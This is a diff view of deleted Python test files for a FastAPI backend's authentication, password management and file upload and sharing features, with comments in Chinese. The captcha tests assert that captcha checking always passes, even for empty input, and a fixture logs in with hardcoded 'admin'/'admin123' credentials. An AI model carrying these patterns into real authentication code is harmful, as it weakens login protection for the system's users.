||||
await db_session.commit()
|
||||
|
||||
# 尝试刷新Token
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.refresh_token(
|
||||
db_session,
|
||||
login_result.refresh_token
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_access_token_expiration(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试访问Token过期时间"""
|
||||
from app.core.config import settings
|
||||
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert login_result.expires_in == settings.ACCESS_TOKEN_EXPIRE_MINUTES * 60
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_token_contains_user_info(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试Token包含用户信息"""
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 解析Token
|
||||
from app.core.security import security_manager
|
||||
payload = security_manager.verify_token(
|
||||
login_result.access_token,
|
||||
token_type="access"
|
||||
)
|
||||
|
||||
assert int(payload.get("sub")) == test_user.id
|
||||
assert payload.get("username") == test_user.username
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_refresh_token_longer_lifespan(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试刷新Token比访问Token有效期更长"""
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 验证两种Token都存在
|
||||
assert login_result.access_token is not None
|
||||
assert login_result.refresh_token is not None
|
||||
assert login_result.access_token != login_result.refresh_token
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_multiple_refresh_tokens(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试多次刷新Token"""
|
||||
# 先登录
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 多次刷新
|
||||
refresh_token = login_result.refresh_token
|
||||
for _ in range(3):
|
||||
result = await auth_service.refresh_token(
|
||||
db_session,
|
||||
refresh_token
|
||||
)
|
||||
assert "access_token" in result
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_token_type_is_bearer(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试Token类型为Bearer"""
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert login_result.token_type == "Bearer"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_admin_user_has_all_permissions(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_admin: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试管理员用户拥有所有权限"""
|
||||
login_result = await auth_service.login(
|
||||
db_session,
|
||||
test_admin.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
# 管理员应该有所有权限标记
|
||||
|
||||
|
||||
# ==================== 密码管理测试 ====================
|
||||
|
||||
class TestPasswordManagement:
|
||||
"""测试密码管理"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_change_password_success(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试修改密码成功"""
|
||||
result = await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
test_password,
|
||||
"NewPassword123"
|
||||
)
|
||||
|
||||
assert result is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_change_password_wrong_old_password(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试修改密码时旧密码错误"""
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
"wrongoldpassword",
|
||||
"NewPassword123"
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_change_password_updates_hash(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试修改密码更新哈希值"""
|
||||
old_hash = test_user.password_hash
|
||||
|
||||
await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
test_password,
|
||||
"NewPassword123"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.password_hash != old_hash
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_change_password_resets_lock_status(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试修改密码重置锁定状态"""
|
||||
# 设置为锁定状态
|
||||
test_user.status = "locked"
|
||||
test_user.locked_until = datetime.utcnow() + timedelta(minutes=30)
|
||||
test_user.login_fail_count = 5
|
||||
await db_session.commit()
|
||||
|
||||
# 修改密码
|
||||
await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
test_password,
|
||||
"NewPassword123"
|
||||
)
|
||||
|
||||
await db_session.refresh(test_user)
|
||||
assert test_user.login_fail_count == 0
|
||||
assert test_user.locked_until is None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reset_password_by_admin(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User
|
||||
):
|
||||
"""测试管理员重置密码"""
|
||||
result = await auth_service.reset_password(
|
||||
db_session,
|
||||
test_user.id,
|
||||
"AdminReset123"
|
||||
)
|
||||
|
||||
assert result is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reset_password_non_existent_user(
|
||||
self,
|
||||
db_session: AsyncSession
|
||||
):
|
||||
"""测试重置不存在的用户密码"""
|
||||
result = await auth_service.reset_password(
|
||||
db_session,
|
||||
999999,
|
||||
"NewPassword123"
|
||||
)
|
||||
|
||||
assert result is False
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_password_hash_strength(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试密码哈希强度(bcrypt)"""
|
||||
from app.core.security import get_password_hash
|
||||
|
||||
hash1 = get_password_hash("password123")
|
||||
hash2 = get_password_hash("password123")
|
||||
|
||||
# 相同密码应该产生不同哈希(因为盐值不同)
|
||||
assert hash1 != hash2
|
||||
|
||||
# 但都应该能验证成功
|
||||
from app.core.security import security_manager
|
||||
assert security_manager.verify_password("password123", hash1)
|
||||
assert security_manager.verify_password("password123", hash2)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_new_password_login(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试用新密码登录"""
|
||||
new_password = "NewPassword123"
|
||||
|
||||
# 修改密码
|
||||
await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
test_password,
|
||||
new_password
|
||||
)
|
||||
|
||||
# 用新密码登录
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
new_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
assert result.access_token is not None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_old_password_not_work_after_change(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试修改密码后旧密码不能登录"""
|
||||
new_password = "NewPassword123"
|
||||
|
||||
# 修改密码
|
||||
await auth_service.change_password(
|
||||
db_session,
|
||||
test_user,
|
||||
test_password,
|
||||
new_password
|
||||
)
|
||||
|
||||
# 用旧密码登录应该失败
|
||||
with pytest.raises(InvalidCredentialsException):
|
||||
await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"1234",
|
||||
"test-uuid"
|
||||
)
|
||||
|
||||
|
||||
# ==================== 验证码测试 ====================
|
||||
|
||||
class TestCaptchaVerification:
|
||||
"""测试验证码验证"""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_captcha_verification_bypassed_in_test(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试验证码在测试环境中被绕过"""
|
||||
# 当前的实现中,验证码验证总是返回True
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"any_captcha",
|
||||
"any_uuid"
|
||||
)
|
||||
|
||||
assert result.access_token is not None
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_captcha_required_parameter(
|
||||
self,
|
||||
db_session: AsyncSession,
|
||||
test_user: User,
|
||||
test_password: str
|
||||
):
|
||||
"""测试验证码参数存在"""
|
||||
# 应该传递验证码参数,即使测试环境不验证
|
||||
result = await auth_service.login(
|
||||
db_session,
|
||||
test_user.username,
|
||||
test_password,
|
||||
"",
|
||||
""
|
||||
)
|
||||
|
||||
# 验证码为空,测试环境应该允许
|
||||
assert result.access_token is not None
|
||||
@@ -1,259 +0,0 @@
|
||||
"""
|
||||
文件管理模块测试
|
||||
"""
|
||||
import pytest
|
||||
import os
|
||||
from io import BytesIO
|
||||
from fastapi.testclient import TestClient
|
||||
from PIL import Image
|
||||
|
||||
|
||||
def test_upload_file(client: TestClient, auth_headers: dict):
|
||||
"""测试文件上传"""
|
||||
# 创建测试图片
|
||||
img = Image.new('RGB', (100, 100), color='red')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'JPEG')
|
||||
img_io.seek(0)
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("test.jpg", img_io, "image/jpeg")},
|
||||
data={"remark": "测试文件"}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["original_name"] == "test.jpg"
|
||||
assert data["file_type"] == "image/jpeg"
|
||||
assert data["message"] == "上传成功"
|
||||
assert "id" in data
|
||||
assert "download_url" in data
|
||||
|
||||
|
||||
def test_upload_large_file(client: TestClient, auth_headers: dict):
|
||||
"""测试大文件上传(应失败)"""
|
||||
# 创建超过限制的文件(11MB)
|
||||
large_content = b"x" * (11 * 1024 * 1024)
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("large.jpg", BytesIO(large_content), "image/jpeg")}
|
||||
)
|
||||
|
||||
assert response.status_code == 400
|
||||
|
||||
|
||||
def test_upload_invalid_type(client: TestClient, auth_headers: dict):
|
||||
"""测试不支持的文件类型(应失败)"""
|
||||
response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("test.exe", BytesIO(b"test"), "application/x-msdownload")}
|
||||
)
|
||||
|
||||
assert response.status_code == 400
|
||||
|
||||
|
||||
def test_get_file_list(client: TestClient, auth_headers: dict):
|
||||
"""测试获取文件列表"""
|
||||
response = client.get(
|
||||
"/api/v1/files/",
|
||||
headers=auth_headers,
|
||||
params={"page": 1, "page_size": 20}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
|
||||
def test_get_file_detail(client: TestClient, auth_headers: dict):
|
||||
"""测试获取文件详情"""
|
||||
# 先上传一个文件
|
||||
img = Image.new('RGB', (100, 100), color='blue')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'PNG')
|
||||
img_io.seek(0)
|
||||
|
||||
upload_response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("test.png", img_io, "image/png")}
|
||||
)
|
||||
file_id = upload_response.json()["id"]
|
||||
|
||||
# 获取文件详情
|
||||
response = client.get(
|
||||
f"/api/v1/files/{file_id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["id"] == file_id
|
||||
assert "download_url" in data
|
||||
|
||||
|
||||
def test_get_file_statistics(client: TestClient, auth_headers: dict):
|
||||
"""测试获取文件统计"""
|
||||
response = client.get(
|
||||
"/api/v1/files/statistics",
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_files" in data
|
||||
assert "total_size" in data
|
||||
assert "type_distribution" in data
|
||||
|
||||
|
||||
def test_create_share_link(client: TestClient, auth_headers: dict):
|
||||
"""测试生成分享链接"""
|
||||
# 先上传一个文件
|
||||
img = Image.new('RGB', (100, 100), color='green')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'JPEG')
|
||||
img_io.seek(0)
|
||||
|
||||
upload_response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("share.jpg", img_io, "image/jpeg")}
|
||||
)
|
||||
file_id = upload_response.json()["id"]
|
||||
|
||||
# 生成分享链接
|
||||
response = client.post(
|
||||
f"/api/v1/files/{file_id}/share",
|
||||
headers=auth_headers,
|
||||
json={"expire_days": 7}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "share_code" in data
|
||||
assert "share_url" in data
|
||||
assert "expire_time" in data
|
||||
|
||||
|
||||
def test_delete_file(client: TestClient, auth_headers: dict):
|
||||
"""测试删除文件"""
|
||||
# 先上传一个文件
|
||||
img = Image.new('RGB', (100, 100), color='yellow')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'JPEG')
|
||||
img_io.seek(0)
|
||||
|
||||
upload_response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("delete.jpg", img_io, "image/jpeg")}
|
||||
)
|
||||
file_id = upload_response.json()["id"]
|
||||
|
||||
# 删除文件
|
||||
response = client.delete(
|
||||
f"/api/v1/files/{file_id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
assert response.status_code == 204
|
||||
|
||||
|
||||
def test_batch_delete_files(client: TestClient, auth_headers: dict):
|
||||
"""测试批量删除文件"""
|
||||
# 上传多个文件
|
||||
file_ids = []
|
||||
for i in range(3):
|
||||
img = Image.new('RGB', (100, 100), color='red')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'JPEG')
|
||||
img_io.seek(0)
|
||||
|
||||
upload_response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": (f"batch_{i}.jpg", img_io, "image/jpeg")}
|
||||
)
|
||||
file_ids.append(upload_response.json()["id"])
|
||||
|
||||
# 批量删除
|
||||
response = client.delete(
|
||||
"/api/v1/files/batch",
|
||||
headers=auth_headers,
|
||||
json={"file_ids": file_ids}
|
||||
)
|
||||
|
||||
assert response.status_code == 204
|
||||
|
||||
|
||||
def test_chunk_upload_init(client: TestClient, auth_headers: dict):
|
||||
"""测试初始化分片上传"""
|
||||
response = client.post(
|
||||
"/api/v1/files/chunks/init",
|
||||
headers=auth_headers,
|
||||
json={
|
||||
"file_name": "large_file.zip",
|
||||
"file_size": 10485760, # 10MB
|
||||
"file_type": "application/zip",
|
||||
"total_chunks": 2
|
||||
}
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "upload_id" in data
|
||||
|
||||
|
||||
def test_access_shared_file(client: TestClient, auth_headers: dict):
|
||||
"""测试访问分享文件"""
|
||||
# 先上传一个文件
|
||||
img = Image.new('RGB', (100, 100), color='purple')
|
||||
img_io = BytesIO()
|
||||
img.save(img_io, 'JPEG')
|
||||
img_io.seek(0)
|
||||
|
||||
upload_response = client.post(
|
||||
"/api/v1/files/upload",
|
||||
headers=auth_headers,
|
||||
files={"file": ("shared.jpg", img_io, "image/jpeg")}
|
||||
)
|
||||
file_id = upload_response.json()["id"]
|
||||
|
||||
# 生成分享链接
|
||||
share_response = client.post(
|
||||
f"/api/v1/files/{file_id}/share",
|
||||
headers=auth_headers,
|
||||
json={"expire_days": 7}
|
||||
)
|
||||
share_code = share_response.json()["share_code"]
|
||||
|
||||
# 访问分享文件(无需认证)
|
||||
response = client.get(f"/api/v1/files/share/{share_code}")
|
||||
|
||||
assert response.status_code == 200
|
||||
|
||||
|
||||
# 运行测试的fixtures
|
||||
@pytest.fixture
|
||||
def auth_headers(client: TestClient):
|
||||
"""获取认证头"""
|
||||
# 先登录
|
||||
response = client.post(
|
||||
"/api/v1/auth/login",
|
||||
json={
|
||||
"username": "admin",
|
||||
"password": "admin123"
|
||||
}
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
token = response.json()["access_token"]
|
||||
return {"Authorization": f"Bearer {token}"}
|
||||
|
||||
# 如果登录失败,使用测试token
|
||||
return {"Authorization": "Bearer test_token"}
|
||||
Reference in New Issue
Block a user